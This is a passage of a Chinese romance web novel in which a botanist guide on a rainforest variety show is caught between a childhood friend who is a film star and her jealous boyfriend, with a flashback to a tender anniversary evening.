沙发上的两人见到她,纷纷起身打招呼。
“你好,姐姐,我是萧潇。”男人率先开口,一双狗狗眼直愣愣地盯着覃晚。
身侧的女孩把男人推开,看着男人装出的受伤表情,调侃了句:“好油,走开。”
“我是童彤,一个rapper,别听他乱叫,开玩笑逗你呢。”她扎着两条编成小辫子的马尾,笑着打招呼道。
覃晚莞尔一笑,温声应和:“没事没事,我是覃晚。”
三个人还未来得及坐下,木质地板上是皮鞋不紧不慢的叩击,一个沉稳又带着磁性的男声由远及近传来。
32. 哥...哥!
“都在呢。”
“叶老师!”萧潇率先反应过来,难掩脸上的讶异,三步并作两步走上去迎接。
听到声音后的童彤扭头,只见一个身材挺拔,穿着休闲装的儒雅男人迈着沉稳而舒缓的步子走近。
剪裁考究的亚麻衬衫勾勒出挺拔腰线,袖口随意卷至肘部。
男人逆光走近时,松木香混着阳光烘烤过的气息悄然漫开,温润眉眼在浮尘中逐渐清晰。
叶景年!
没想到这位娱乐圈向来低调的影帝居然会出现在这么一个名不见经传的冷门综艺里。
男人走近,童彤掩去脸上只一瞬的讶然,正色后礼貌伸手:“叶老师,您好。我是童彤。”
“你好,叶景年。”
此刻的男人不似荧幕里的冷冽样子,判若两人,笑得温和,伸出手绅士地握了下她的指节便松开。
相较于他们的反应迅速的寒暄,覃晚依旧愣在原地,盯着面前温文尔雅的男人一动不动。
之前没听说他要来啊?
难道这就是祁绮昨晚说的惊喜?
“晚晚,晚晚。”见覃晚怔在原地,童彤故作不经意地蹭了蹭她的肩膀,用气音在她耳边提醒:“打招呼啊!”
此刻就站在两人面前的叶景年自然察觉到了这一动作,更何况自他进来,便一直分神在她身上。
“怎么了,晚晚。”叶景年对上她有些空洞的目光,眼神浮现出与刚刚的客气不同的温柔,“这么久不见,不记得我了?”
此话一出,站在一旁的萧潇和童彤皆大跌眼镜。
“你们认识?”萧潇难以置信的目光在两人之间来回巡视。
覃晚有些难堪,脖子上浮现出淡淡红晕,体温升高。低眸躲开了那几道盛满了探究欲的目光。
该怎么解释她和叶景年的关系啊!幼时喜欢的大哥哥摇身一变成了影帝?
当年她、祁绮还有叶景年家住同一个家属院,几个人的父母都是南城大学的老师。
不过后来叶教授因为工作调动举家去郦城后,她与叶景年便也逐渐断了联系。
再后来听说他不顾叶教授的阻挠,毅然决然报了传媒大学,进娱乐圈当演员。
惊讶之余,更多的是敬佩。
虽然过去认识,但此刻也是许久未见。还当着这么多人的面,她不自在的抚了抚脖子,低声唤了句:“景年哥。”
叶景年轻嗯了一声,“坐吧,别站着了。”抬手似过往那样摸了摸她的发顶,眼神中满是宠溺。
祁绮举着麦发话:“好,接下来让我们请出最后一位神秘嘉宾。”
话音刚落,几个人的目光都朝入口的那扇门看去。
怎么还有神秘嘉宾,覃晚在心里头犯嘀咕。
正当她还在疑惑时,一个熟悉的身影闯入了视线之中,灵动的眸光蓦地滞住。
他换下了早晨那件简单干净的白T,换了件熨帖整齐的白衬衣和修长西裤。
冷白的灯光勾勒出他精致立体的轮廓,衬衫领口严谨地扣至喉结下方,一丝不苟。异色瞳孔在光线下格外醒目,湖蓝色的眼眸像被月光割裂的宝石。
连叶景年和萧潇也要逊色他三分。
“我靠,好帅啊?”童彤贴在覃晚身侧小声嘀咕,目不转睛地盯着那个迈着长腿朝他们信步走来的男人。
覃晚没有说话,只是垂下眼睑不知在想些什么。
没人能懂她此刻的崩溃,一个见证过自己小时候各种糗事的叶景年就算了,又来一个林深。
如果此刻有个钻机,她估计已经穿透地心了。
肩上传来轻微的拍打,覃晚抬眸,看到另外三人已站起准备迎接,童彤正低着下颌,挑眉示意。
"你好啊,我是萧潇。"他率先开口,自来熟地伸手揽住男人的肩膀。
猝不及防的陌生触碰,林深微不可察地皱了下眉,旋即又恢复正常,颔首淡声道:"你好,林深。"
覃晚虽然心中有几分不自在,但碍于节目拍摄,只能暗暗压在心底。
但一直用余光默默关注覃晚的叶景年却察觉到了她不动声色间的异样。
自打林深进门,她便一直心不在焉的不知在想些什么,眼神恍惚。
而林深除了刚刚和萧潇打招呼稍微分神外,目光一直未曾从覃晚身上离开。
同为男人,只一眼便看穿了他对覃晚的“别有用心”。
唇角勾起一抹意味深长的笑容,叶景年伸出手,抬眸看了一眼对方疏离的眼眸,“你好,叶景年。”
林深与面前的男人对视,薄唇微启,不冷不热地回应。
“帅哥,你好,我是童彤。”她扯着覃晚走至男人面前,晃了晃手,又指着覃晚扬声介绍:“她叫覃晚,是我们的向导。”
“Hi……”
“你们好。”
覃晚抬眸对上男人的视线,清冷的眸子与她目光交汇时闪过一丝不可名状的玩味,眉梢轻挑。
只一瞬便恢复如常。
奇怪,这人演技这么好吗?见到自己好像没有丝毫的意外,还是说,他早就知道自己会来。
如果是这样的话,那早上……
想到这里,她头顶不禁直冒黑线,垂在腰侧的手指甲微蜷,这人合着一大早就开始耍自己了是吧!
坐在监视器前的祁绮察觉到两人之间稍显诡异的氛围,面色有些凝重,盯着画面沉思。
一旁的副导见状赶忙凑近提醒,“祁导,cue流程啊。”
她换了个表情,举起放在一边的麦,朗声道:“欢迎大家来到我们的《跟着植物去旅行》,我们第一期来到的是物种丰富的热带王国。”
“今天我们有两条主线任务,分别是去当地最大的热带植物园和国家热带雨林公园寻找线索,最后两组集合进行解密PK。”
“可是我们五个人怎么分配啊?”倚靠在沙发上的萧潇随口问了句。
“难不成还有飞行嘉宾吗?”
祁绮举起话筒:”这个,,,"她刻意顿了两秒。
继而道:“没有,考虑覃晚的专业特殊性,为保证公平,我们将在她的另一组安排专业讲解员进行讲解。”
离PD最近的童彤从
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沙发上起身接过台卡,逐字逐句地念了出来:
“分组游戏,节目组将给出代表你们五人性格特征的植物卡牌,率先对应正确两人成为队长并拥有选择队友的权力。”
待嘉宾了解完规则后,游戏正式开始。
覃晚握着手上的油性笔,轻咬下唇,紧皱着眉头,如临大敌似的盯着几张卡片。
若是平常,她自是不可能对一个小游戏如此重视,但实在是不想和林深一组啊!求人不如求己,与其当案台上待宰的羔羊,不如自己把握主动权。
好在这里面最难把握的林深和叶景年她都有接触,相较其他人多了几成胜算。
覃晚稍稍犹豫了下木棉到底是童彤还是萧潇,最后半猜半蒙地选了童彤,率先完成。
本想着要是能和童彤一组,那便是再好不过了。
但人算不如天算,童彤竟是第二个答对的人,也成了队长。
猜拳输了,覃晚心已凉了半截,只能寄希望于童彤把林深给选了,这样倒也不算太糟糕。
获得优先选择权的童彤上下打量着各怀鬼胎的几个人。
叶影帝pass,得让他和小晚一组,自己的CP可不能拆了。
这么一来就只剩下林深和萧潇两人,前者帅则帅矣,就是这也太冷了吧。
眼神扫过来时,浑身像拢了一层寒冰,要是选了他,两人一起去做任务时不得尴尬到扣出梦幻城堡。
“姑奶奶,你肯定不想选我吧。那我去小晚晚那组啦~”萧潇看着蹙眉抉择的童彤,嬉皮笑脸。
“谁说的,就你了。”童彤故意呛了回去,萧潇露出个失望的表情,被她睨了一眼,发号施令:“小潇子,跟姑奶奶走吧。”
“喳~”萧潇十分配合点头哈腰,把一旁正忙着破防的覃晚都给逗笑了。
组好队后,覃晚也不得不认命,几个人坐在沙发上商量着想去的目的地。
她瞄了眼导演组给的地图后,抬眸看向那个气质儒雅的男人。
问道:“景年哥,你比较想去哪里啊?”
男人闻声,与覃晚视线相对,正准备开口时。忽的听到身侧传来略带嘲弄的啧声。
“景年...哥?”
林深瞥了眼正勾唇对覃晚笑得温柔的男人后,目光再度回到覃晚身上,眸中盛满了不容置疑的占有欲。
“呃……”覃晚没料到他反应这么大,可在这也不太好解释,于是沉默着没有说话。
叶景年环臂观察着两人之间拉扯的氛围,喉间溢出一声轻笑,向林深解释:“我和小晚之前便认识,一起长大的青梅竹马,所以她叫我一声景年哥。”
他温柔地看着面前的女孩,状似随意地替她把因低头而散落在额前的碎发捋至耳后。
语调宠溺:“小姑娘长大了,以前都是叫我哥哥的,现在是越发生疏了。”
“哥...哥。”林深冷哼一声。
重复这个称呼时,颈间喉结危险地滑动。
他死死盯着男人靠近覃晚的那只手,一双异色的眸子散去了平日里的清冷和疏离,被醋意尽数占去。
33. 你靠那么近干嘛!
"好了好了"覃晚挥了挥手,清了清嗓子:"言归正传,我们到底去哪?"
一左一右的两个人无意间对视,又迅速撇开脑袋,异口同声:"听你的。"
覃晚无声苦笑,探出半个身子朝童彤看去。
"童彤,你们比较想去哪一个地方啊?"
"呃,我们......"她与萧潇对视一眼,交换了个眼神后肯定的说:"植物园!"
"行,那我们就去雨林公园。"
——
独属于雨林的潮湿和凉意在他们踏入园区时便随风涌了上来。
海城的热带森林公园没有进行过度的商业化开发。
浓密的瘴雾笼罩着眼眶,眼前近五十米高大的阿萨姆娑罗双乔木,底部延伸出巨大的板状根。
榼藤如同绿色的吓人巨蟒缠绕树干,争夺着林中稀缺的阳光。
头顶的枝条在空中交织,托起斑斓的附生植物群落。
"滴答滴答"
规律的水声传入耳膜。
雨水顺尾状尖端汇聚成珠,冲刷叶片表面的藻类与真菌。
覃晚从PD手里接过台卡和园区地图,拉着肩上的登山包背带,从里面取了支喷雾。
【雨林芳】
她往自己手腕和小腿上喷了几泵后递给了身侧的林深,"雨林里蚊子多,你们也喷一点。"
林深从她手里接过那瓶雨林芳,在覃晚的视角盲区朝对面的朝叶景年扬起挑衅的眉梢。
覃晚将登山杖抽出,抬眸却见林深握着那瓶雨林芳一动不动,嘴角含着奇怪的笑容。
"你愣着干嘛?过敏吗?怎么不用啊。"
"不是。"
叶景年自然察觉到他的敌意,喉间溢出一丝微不可察的轻笑。
"不是。"他敛眸正色,拿起喷雾刷刷往自己身上一顿喷。
"行啦行啦,再喷就不是杀死蚊子,先杀死我们了。"
覃晚微不可查地皱了下鼻子,"喷完了就给景年哥吧。"
叶景年闻声,眉梢微挑,"给我吧,林先生。",语气平和,但是林深瞧见了他眼底的挑衅。
她转头看向拍摄的工作人员,又递过去一瓶尚未开封的喷雾,关切说道:
"你们也喷一些吧,雨林里蚊虫叮咬还是挺危险的。"
"谢谢,覃小姐,这怎么好意思啊。"扛着摄影机的PD绽出一个憨厚的笑容。
"没事,这瓶你们用吧,每隔两小时喷一次。"
和摄像交代时,她全然没注意到身后的两个人。
转身回眸时,只见两个一米八几的男人正抵着同一瓶喷雾较劲。叶景年骨节泛白的手背叠在林深青筋微凸的手腕上,双目交汇。
"二位...你们这样。"覃晚看着两人有些暧昧的动作,抱臂挑眉,眼神在两人间来回飘动,"需要给你们申请双人任务卡吗?"
这两明明刚刚还一副不对付的样子,现在这么亲密,不会是看对眼了吧。
她扯出一个暧昧的笑容。
叶景年:"没干什么。"
趁林深分神他微微使力,迅速从男人手里扯过瓶子,后撤一步。转头时便整理好神色,笑得温柔。
猝不及防的偷袭,林深眼中闪过一丝震惊。
叶景年手脚利落的喷完后,故意回避林深的视线,对覃晚温声道:"晚晚,我帮你放包里吧。"
林深瞪了他一眼,迅速从他手里夺过,"不用,我保管着。"
"行,给他吧。"覃晚低头看着手里的地图,心不在焉地说:"加快速度,收拾好就出发吧。"
看地图,他们今天的徒步应该有三段。不出她所料的话,前面好走的游客栈道应该不长。
刚出发时覃晚还记着拍摄,结果一开始徒步就全然忘了。
撑着根登山杖沿路左顾右盼。后面跟着的两人也一路无言。
跟在一侧的几位随行摄像互相交换了个眼神,不约而同的暂时关了设备。
PD抬手示意几人停下:"不好意思,几位老师。"
"怎么了?"正盯着一棵一米高的桫椤的覃晚偏过头淡声询问,几人的视线聚在面前那个戴着黑色鸭舌帽的PD身上。
"老师们......"他犹豫三秒,快速在脑子里组织了一下措辞,毕竟总不能说他们不讲话没素材吧。
"就是,其实我们不着急赶路的您知道吧?"
"嗯。"覃晚点了点头,暗自忖度:"这走的也不快吧,小学生春游也就这样了。要是放平时他们实地调研都得掉队。"
"好,我们尽量慢点。"虽然不明白,但覃晚还是点头配合。
扛着设备的FPD听到覃晚这段对话哭笑不得,平时哪遇到过这种情况,就算有素人参加,但也没遇到过这么耿直的啊。
更何况这三个看上去都...不太机灵的样子。
那个说话的PD也被她这"乖乖配合"的话噎住了,急得满头黑线。
身侧突然传来一阵轻笑,叶景年摸了摸覃晚的头,似笑非笑道:"我觉得他的意思应该是让我们多讲讲话。"
他挑眉看了一眼面前的男人,"是吧,刘PD。"
原本无奈到失语的刘升眼中突然闪过救赎的光亮,盯着叶景年忙不迭的点头:"是是是,叶影帝说得对。"
他有些难为情地挠了挠头,"主要是要是不说话,我们没素材可剪......"
"既然如此。"林深走进一步,不动声色地将停在覃晚发顶的那手挪开。
"不如覃向导给我们讲解讲解这山内植物?"
他虚揽着女孩的肩膀,将叶景年隔开在外,宣誓主权。
"好啊!"原本在担心无话可说而蹙眉的覃晚听到这话眼眸瞬间亮了起来,自然而然地转头,却不知男人在何时靠近。"你想知道..."
想说的话哽在喉间,猝不及防的回眸,靠近,覃晚还未来得及掩盖脸上的笑意便与那人撞上。
林深那双淡漠的瞳孔蕴上温柔,湖蓝色的右眼澄澈,她几乎可以见到清晰的自己。
心跳在此刻漏了一拍。
一旁的摄影反应极快,还未等覃晚回神便以迅雷不及掩耳之势打开了设备。<
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一边运镜给两人拍特写一边在心中默念道:"有效素材,有效素材。"
今天一天快被这三个一句话不说的闷罐折磨疯了,跟拍了一路几乎没啥用得上的素材。
"你靠那么近干嘛!"覃晚抬手推开面前的男人的胸,嗔怪道:"吓死我了。"
她不着痕迹的收回视线,结实又富有弹性的触感仍停留在掌心,手心微微发烫。
暗想道:"这胸肌,怎么感觉比上次还要好了。",思及此,耳梢不经意间微微泛红。
女孩轻咳一声,双手交叉叠在胸前,抿着唇故作严肃,"你们对什么植物,感兴趣啊?"
叶景年见缝插针抢先一步,指着不远处的一棵三角状叶片的植物问道:"这个是什么啊,晚晚。"
他跟在覃晚身后,朝那棵植株走近观察。回头时看了一眼被抛在身后的林深,露出皮笑肉不笑的表情。
林深双手抱在胸前,朗声说:"海南金不换,防己科千金藤属。"
"嗯?"听到这先一步的声音,她蓦地回头看去,有些诧异,"你怎么知道的?"
"书里看到过一次,就顺手记下了。"林深故作不经意的散漫道。
叶景年站在覃晚身侧,慢条斯理的接话:"想不到林先生在植物学上还颇有造诣啊。"
男人并未搭理,默默在心中冷哼一声。
多亏当初为了和覃晚多些共同话题,特地去啃了几本植物学图鉴,没想到今天派上用场了。
"不知林先生可否麻烦为我们详细介绍一下这棵植株呢?"
林深抬脚朝覃晚靠近,一瞬不瞬的盯着她,启唇道:"我知道的只有皮毛。"
"可是叶先生好像很好学。"在距离女孩半臂的位置停下,弯下腰垂眸细细地看着她,"不知道覃小姐可不可以帮帮我呢?",声线缱绻。
"咳...咳"覃晚低下头后撤一步,视线朝一侧自然扫去,磕磕巴巴道:"帮...帮忙算不上。"
她看着那地上的植物,神色再度恢复从容:"金不换是它的别名,学名是Stephaniahainanensis,因其块根具有极高的药用价值,可起到消肿解毒,止痛等功效,所以被称为金不换。
"虽然它目前没有被列入国家保护名录,但是因为分布狭窄,野生居群稀少,所以被列为海南濒危物种。"
"诶,这怎么有张卡。"
覃晚在近处寻了处泥土裸露的的狭小空地蹲下,拾起那张印着节目logo的卡片。
"嘿!"她捏着那张卡,兴奋地歘的站起,眼睛也被笑意染得格外明亮.
"你们看我发现了什么!"
叶景年看着笑颜如花的覃晚,情绪也被感染,唇角勾起一丝温柔的笑意,宠溺道:"小晚,真棒!"
雨林里湿度很大,再加上高大的乔木遮挡住了阳光,这里苔藓丛生,泥土湿润。
正当她准备撤离时,脚底忽的一滑。
惯性作用下,覃晚不自觉地朝地面倾倒。
"小心!"林深和叶景年异口同声地朝女孩的方向奔去。
34. 我爱你
今天是他和覃晚在一起的第一个520,于是特地提前一周策划惊喜。
按原计划,覃晚会在琴声、鲜花、她最爱的餐厅中收到他精心准备的礼物。
一本她想要很久的原版书《dasgro?eillustriertekr?uterbuch》。
辗转多人,林深才从苏黎世一个古董书店的老板手里买下了这本藏书。
他几乎都能想象到覃晚收到时兴奋的表情,肯定会抱着他狠狠亲两口。
毕竟每次给她写出美味同人文的时候,就是这幅模样。
这一周每每想到这件事,林深都忍不住在心里暗爽。
早上六点,床头的手机便一直叮铃铃的响个不停,扰得人不得安眠。
昨晚折腾到半夜,此刻两人将将进入深度睡眠。
林深闭着眼捞过横在胸前的被子,将两人捂住,试图隔绝那道扰人清梦的铃声。
谁知这人丝毫没点眼力见儿,电话一个接着一个不停歇。
覃晚实在忍受不了,手肘轻轻推了推面前人的胸膛,口齿不清地呓语道:“接电话。”
林深半眯着眼,撑起半个身子,从覃晚那侧将手机捞过,向上一滑。
整个世界再度恢复安静。
他将女孩重新搂进怀里,温柔安慰:“好了,乖,继续睡吧。”
没消停多久,烦人的铃声再度响起。
覃晚有些恼,睡眼惺忪地从被窝里探出半截皓腕,取过手机接听。
“喂……怎么了?”昨夜折腾太久,此刻嗓子哑得不行。
她气的一把推开面前凑上来索抱的男人。
“喂,小晚,是我。”电话那端传来熟悉的声音,覃晚耷拉着眼皮敷衍应声。
不知对方说了什么,原本睡意朦胧的人蓦的清醒过来,还未等林深反应过来便已翻身下床去了。
猝不及防的动作将林深也惊了半分,男人从床上直起身子,揉了揉额前的碎发,半睁着眼,声音沙哑:“怎么了?”
覃晚急匆匆走进衣帽间,以最快的速度换了套衣服,又溜进浴室洗漱。
等她再次回到床前的时候,早已穿戴整齐。
“昨天的数据出了点问题,师兄叫我赶紧回去。”她搂过男人的脖子,犹豫了一秒,在脸颊上狠狠亲了几下。
林深被这突然的变故整得有些懵,顿了几秒才问到:“晚上还回来吗?”
走至门前的覃晚背着身朝他利落地甩了甩手,抛下句:“不一定,等我消息。”
不一定回来......那他的计划,岂不是泡汤了一半。
这一折腾,原本困顿的林深已经彻底清醒,朝门外的人喊了句:“记得吃早饭!”
对方没有回应,只有一声机械的女声:“滴,门已关锁。”
醒了后便再难睡着,索性起床干正事,反正她说的是不一定。
虽然按往常来说,待到半夜的可能性会占到百分之八十。
林深无奈的摇了摇头,温柔地拾起她刚刚因为太过着急而甩在床沿的睡衣,烟粉色的袖子耷拉下来,触到床边的毛绒地毯。
因为这一小插曲,往常要睡到日上三竿的深林大大竟破天荒的在清晨坐在了电脑面前。
自从和覃晚恋爱以来,因为有了更重要的事情要做,他现在鲜少在半夜码字。
于是每天码字的时间自然而然的就挪到了下午,至于为什么不在其他时间。
也没什么特别的理由,只是起不来。
许是因为今天是个好日子,林深码字的效率出奇的高,不到两小时便写完今天的更新内容。
他简单收拾了一下自己,便驱车赶往花鸟市场。
中午的时候,某人终于抽出狭窄的空闲时间回了他的消息。
对面传来一张照片,他点开一看,是她昨晚想吃的凉面,中午他出去时正巧遇上一家,便趁中午给实验室的她叫了份外卖。
一碗五彩鸡丝凉面,劲道的面条上铺着淡黄的蛋皮丝和嫩绿的黄瓜,边上点缀着几片洋葱和番茄,一勺裹挟着醋和蒜末的酱料洒在中央。
还未等林深那句“味道如何”的消息发出去,对面便传了个【点赞.jpg】
他勾唇笑了笑,在键盘上敲敲打打【别把胡萝卜全挑了,稍微吃两根。】
覃晚握着的筷子顿在半空,她低头瞄了一眼桌边的垃圾桶,黑色塑料袋里赫然装着她刚筛出的橙色胡萝卜丝。
她把筷子上最后的两根塞进嘴里,味同嚼蜡般嚼了两口吞下,单手朝对面发了句【遵命,林老师!】
知晓她时间紧,林深没再多打搅她吃饭,按下语音键,温声说:“不能按时下班的话,告诉我一声,我去接你。”
“晚晚,你看看这个。”师姐李氧举着本实验报告走近。
覃晚将口中的面匆匆咽下,回了句“嗯”便将手机揣进兜里。
不出他所料,果然今天没法按时下班。他取消了餐厅的预约。
林深在家中待到十点,坐在沙发上心不在焉地看着纪录片。
时不时便瞅一眼安静的手机,已经快十点,对面还没回消息,他有些担心。
他走近衣帽间,将身上的深绿家居服换下,随手套了件纯棉白T和水洗牛仔裤,便匆匆抱着礼物出了门。
为了方便覃晚去实验室,他特地在学校周边买了套房子,想着路途不远,他便没开车。
夏天十点半的校园躁动不安,夹着凉意的晚风穿过路旁的行道树,裹挟香樟的清新一同离开。
林深看了一眼毫无动静的手机,熄了屏。
穿过一条开满玫红色杜鹃花的小径,他在实验楼下的小叶榕边靠椅坐下。
一,二,三,四。
左数第三间的窗子透出冷白的灯光,看来是还在里面,林深微悬着的心放了下来。
不知等了多久,他只记得校园广播的钟声响了两次,头顶的乌鸫叽叽喳喳地聊了好一会儿。
林深摩挲着身侧的浅绿叶子,第96次抬头。
灯忽的熄灭,她终于下班了。
林深迫不及待地从椅子上站起,走至门口。
等覃晚拖着疲惫的步伐从实验楼走出时,便看到昏黄的路灯下,他抱着一盆花朝她招手,挺括的身形拓印在青色石板路上。
即使光线暗淡,她依旧能看到那阴影下璀璨的目光。
一早到晚的疲惫在此刻随着夜半的凉风散去,她快速刷开门禁,发丝飞扬,冲进了他怀抱。
“等多久了?”覃晚搂住男人的脖子,低头在他怀里蹭了蹭,“不好意思,今天太忙了。”
林深本想摸摸她的头,抬手时却恍然发现自己两手都腾不出来,“没关系,宝贝。”他勾唇轻笑,低着头在她的发顶温柔地蹭了蹭。
“累吗,我背你回家?”他温柔地问道。
怀里的人摇了摇头,声音有些闷:“不要,学校好多人,害羞。”
想到这个点,早已过了宵禁时间,学校大抵是没什么人出没了。
林深宠溺地笑了笑,却还是应了声好。
覃晚从他怀里退出,男人的手顺其自然地与她十指相扣。
牵着她把来时路再走一遍,心境已然不同。孤身一人的他看到了全世界,和她一起,她就是全世界。
今天或许真是个特殊的日子,往常这个点的校园除了路灯应当四处寥落,今天人却不少。
覃晚牵着他的手慢悠悠地在校园里踱步,迎面走来一对情侣,女孩抱着一束黑色包装纸的高原红,笑得嫣然。
她勾了勾唇角,小声调侃道:“林老师,怎么别人520都送玫瑰。”她指了指男人右手上的盆栽,“你送盆飘香藤~”
听到这话的男人怔了片刻,旋即喉间溢出一丝轻笑:“我这不是看到某人的标本册里缺了页。杏色飘香藤,覃小姐,你说是吧。”
“好啊,你偷看我的标本册。”覃晚佯装恼怒,嗔怪道。
“我可没有偷看。”林深眉梢轻挑,勉强止住笑意,不慌不忙地说:“也不知道是谁,上次喝醉了拉着我讲了一晚上的植物学通论。”
“你……”回想起这件事,她不禁有些赧然。
“好了好了,不逗你了。”他蹭了蹭那纤细的手指,轻声哄道:“我们快回家吧。”
已经快十二点了,小区一片静谧,只有夏
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虫的鸣叫断断续续,两人牵着手默契地没有说话。
【嘀,开锁成功。】
覃晚先他一步走进熟悉的家中,咔哒一声,暖黄色的灯光洒满漆黑的屋子。
白色餐布的桌面上的玻璃瓶里插着一束暗红色的探险家红玫瑰,凹凸的玻璃肌理下还能见到若隐若现的花刺。
花瓶旁,还摆着一本绿色封皮的书。
她弯着腰迅速脱下脚上的白色板鞋,光着脚靠近桌边。
“啊啊啊啊!”她举起那本深绿色的德文原著,扭头尖叫:“林老师,你上哪搞到的这本的,我一直想买都买不到。”
林深唇角溢出一丝满足的笑意,提着那双米白色的拖鞋走近,放在她的脚边。
覃晚抓着那本书,踩上脚边拖鞋,踮起脚尖亲啄了几下他柔软的唇瓣。
随即兴奋地抱着那本书兴冲冲地开始看起来。
林深宠溺地摸了摸她的头,低声问:“饿不饿?晚晚。”
“不饿不饿。”她眼皮未抬,盯着那本书目光未动:“你先去洗漱吧,我看会儿。”
林深无奈地摇了摇头,笑着走进了卧室。
十几分钟后,等他擦着滴水的发丝走出浴室时,女孩还低着头坐在餐桌前,捧着那本书看得津津有味。
“休息了,明天再看。”林深捧起她的小脸,捏了捏,“快去洗漱!”
“我不累~”她扁着唇,嗓音软软地撒娇:“再看一会儿。”
昨天她才睡了三个多小时就跑去做了一天高强度的实验,身体肯定熬不住。
趁她分神,林深把她手里的书抽过,放在桌边。而后,他使了使劲,抱着那纤细的后腰,将她整个人扛在肩上。
“既然不累,那我们就去做点有意思的。”
“啊啊啊,你放开我。”猝不及防地海拔抬高,她心跳都漏了一拍,“我累我累累,林深,你放我下来。”
男人按住她乱动的脚,一路抱进了浴室。浴缸里是已经放好的热水。
“乖乖洗澡。”他撂下这淡淡的一句,咔哒一声关上了浴室门。
她坐在浴室的洗手台上怔了片刻,原以为他是个禽兽,没想到真是要自己洗澡。
约莫过了半小时,覃晚拢着一头湿发走进房间。
捧着本书坐在床上的林深见她进来,折了个角后合上了那本《逃避自由》。
他摘下了眼镜,掀开被子翻身下床,走到她的梳妆台前,拿起了吹风机。
林深:“过来。”
覃晚握着手机在那张小羊椅上坐下,吹风机呼呼的暖风从发丝间吹过,沉重的疲惫也随着水渍的减少逐渐轻松。
她享受着林深温柔的服务,在手机上敲敲打打,不知在发些什么。
“好了。”房间重新回归安静,林深收起吹风机,坚实的手臂穿过女孩的膝窝,腰后微微使力,将她一把抱起。
覃晚有些担忧,生怕他又和昨天那样折腾到半夜。
正要启唇和他商量时,男人将她搂进怀里,向上拢了拢被子,在她的发顶落下温柔一吻。
“睡吧,宝贝,我爱你。”
比起诧异,幸福感率先溢出心脏。
她蹭了蹭男人的胸膛,柔声回应:“我也爱你。”
一夜无梦。
熬夜未睡的一些网友却惊奇地发现,向来只发植物科普的up主【一棵晚晚草】竟破天荒地在微博放了一张鲜切玫瑰的图。
配文【厄瓜多尔探险家玫瑰属于蔷薇科(Rosaceae)蔷薇属(Rosa)的玫瑰品种,其学名为Rosarugosa。广泛种植于厄瓜多尔和肯尼亚,花期较长,颜色偏暗,呈丝绒质地,花头饱满。花语为“矢志不渝的爱情”】
一向规律早起的覃医生和齐女士也如往年那般,收到了女儿几十年如一日的问候信息:
【爸爸妈妈,我爱你们。】
率先起床的林深,也看见了放置在床头那份精心包装好的礼物。
他小心翼翼地拆开,是一罐装在透明玻璃罐的护手霜,瓶口上贴着【记得每天使用哦,我的深林大大。】
其实我们都知道,我爱你,藏在生活的细节里。
35. 原谅我,好不好
"都别动!"
见他们要冲过来,覃晚厉声警告道。
她眼尖迅速找到一块空位,双手并拢叠胸前,以一个极其艰难的姿势倒落在地。
手臂着地后,她小心翼翼地将身体撑起。不远处的两人欲走上前搀扶,却被她方才那声呵斥定在原地。
不敢轻举妄动。
借着那根登山杖,覃晚成功站起。她拍了拍手上的泥垢,面色严肃:"你们知不知道刚刚在干嘛。"
她指了指两人面前长在阴湿地面上一株不起眼的植株。叶片似花瓣般舒展,正中央矗立着一根独立的孢子囊穗。
"七指蕨,国二!"覃晚闭眼深吸气,再开口时声线仍绷得紧,却添了三分温度:"要是你们刚刚踩上去了,就等着喜提银手铐吧!"
沉默...
两个男人滞在原地,一众摄像也被震慑住,纷纷低头看着脚底。
覃晚冷静了片刻,看着面前垂眸两人,胸中怒火逐渐平息。
"抱歉。"她放缓声音,眸中的虽愤怒消散许多,脸上却依旧是严肃。
"我刚刚一时没控制住情绪,语气不好。"
她深吸了一口气,"但是,我想需要告诉大家,我们脚下的土地从来就不只属于人类,自从我们踏进这个雨林的那一刻起,每一个人都应该对这片自然保持应有的敬畏。"
众人被她这掷地有声的话惊得愣在原地。
生存在人类掌控着主导权的城市太久,他们似乎已经忘记,还有亿万种生命与人共呼吸。
一路进来,也只当做一次普通的拍摄对待,全然没意识到这里存在者并非只有自己。
叶景年率先从凝重的氛围中回过神来,抬手去迎接面前的覃晚,担忧道:"我们知道了,小晚,你还好吗,刚刚有没有受伤。"
"我没事。"她摇摇头,捡起滚落在地的登山杖,嘴角扯出一个笑,"继续走吧。"
经过刚刚的小插曲,接下来的路程,众人对自己的脚底都留了几分心思,生怕一脚没注意下去就蹲局子去了。
原本插科打诨的摄制组噤若寒蝉,只余鞋底碾过腐殖层的细碎响动。
原本她还忧心因为刚刚没控制住情绪,气氛会变得尴尬。
不过好在,他们原本也不活跃。
几个人一路走走停停,偶尔遇到他们感兴趣或较为典型的雨林植物,便停下来简单介绍。
他们这次徒步里程大约五公里,虽不长,但因为植物公园依傍着海城的最高峰,山路崎岖。
考虑到光凭一上午无法走完全程,节目组特地在半途中安排了一个休息站点,供嘉宾和组织拍摄的工作人员休息。
没有停歇地走了三个小时,团队一行人疲态尽显,步伐也逐渐沉重,摄制组安排的营地终于出现在视野中。
"前面就是休息区了,大家再坚持一下。"覃晚握着地图,朗声鼓舞道。
翻过最后一个堆满石头的陡坡,就能到达宿营地。
"景年哥,我拉你上来。"
叶景年虽然平时也有健身,但这么高强度的徒步撑到现在也有些体力不支。
"我来吧。"一道清冽的声音从耳侧传来,紧随其后上来的林深抬手按下覃晚朝下伸出的手,握住了坡下那只骨节分明的手。
覃晚的视线在两人间来回巡了一圈,双手抱臂暗忖道:这么主动,难道真看对眼了?
不对不对!两个直男看着不像,她晃了晃脑袋,自圆其说,肯定是最近同人文看多了害的。
"各位老师都辛苦了,我们准备了专门休息的营帐,供大家休息三小时,下午三点后再开工。"刘PD举着喇叭宣布道。
早饭吃太早的覃晚此刻埋着头,握着一只炸得金黄酥脆的鸡腿,大快朵颐。
炸得外酥里嫩的鸡腿,一口下去,孜然的香气和鲜嫩的汁水在口腔中炸开。
区别于平常的磨蹭,疲惫了一上午,能量耗了一半,此刻她像只小仓鼠,吃的腮帮子鼓鼓囊囊的。
"擦擦嘴。"坐在对面的叶景年看着覃晚狼吞虎咽的样子,笑着递来一张纸巾。
还未等她反应过来放下手里的食物,下颌处便袭来一抹凉意,贴近。
那只微凉的手微微使力,将女孩的脸转至面前,动作轻柔地擦了擦她唇角的油渍。
"慢点吃,小心噎着。"
覃晚被他这猝不及防的操作惊了一大跳,咀嚼的动作也随之停下,嘴里的肉不自觉的咽了下去。
她条件反射般迅速偏头。
不是,这家伙干嘛!景年哥还在,他这是干嘛?
察觉到两道目光不约而同的聚焦到自己身上,明明天幕和头顶的青梅遮住曝晒的阳光,可怎么还感觉这椅子坐着这么烫呢?
覃晚心不在焉地匆匆咬了两口,从桌边迅速抽了两张纸,留下句:"我吃好了,先去休息。"便头也不回地跑了。
